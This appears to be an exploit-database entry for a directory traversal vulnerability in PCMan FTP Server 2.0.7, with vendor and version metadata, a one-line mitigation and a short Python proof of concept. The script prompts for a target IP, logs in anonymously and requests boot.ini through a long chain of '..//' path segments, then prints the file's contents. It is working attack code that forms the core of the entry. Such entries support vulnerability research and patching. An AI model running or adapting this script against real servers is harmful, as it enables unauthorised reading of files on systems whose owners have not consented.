PCMan FTP Server v2.0.7 Directory Traversal

vendor:

PCMan FTP Server

by:

Jay Turla

7,5

CVSS

HIGH

Directory Traversal

CWE

Product Name: PCMan FTP Server

Affected Version From: 2.0.7

Affected Version To: 2.0.7

Patch Exists: NO

Related CWE: N/A

CPE: a:pcmantw:pcman_ftp_server:2.0.7

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Service Pack 3 - English

2020

PCMan FTP Server v2.0.7 Directory Traversal

PCMAN FTP 2.07 is vulnerable to Directory Traversal (quick and dirty code just for PoC) which allows an attacker to access files outside of the web root directory.

Mitigation:

Ensure that the web application is not vulnerable to directory traversal attacks by validating all user-supplied input.

Source

Exploit-DB raw data:

#!/usr/bin/python
# title: PCMan FTP Server v2.0.7 Directory Traversal
# author: Jay Turla <@shipcod3>
# tested on Windows XP Service Pack 3 - English
# software Link: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
# description: PCMAN FTP 2.07 is vulnerable to Directory Traversal (quick and dirty code just for PoC) 

from ftplib import FTP

ftp = FTP(raw_input("Target IP: ")) 
ftp.login()                   
ftp.retrbinary('RETR ..//..//..//..//..//..//..//..//..//..//..//boot.ini', open('boot.ini.txt', 'wb').write)
ftp.close()
file = open('boot.ini.txt', 'r')
print "[**] Printing what's inside boot.ini\n"
print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
print file.read()
print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"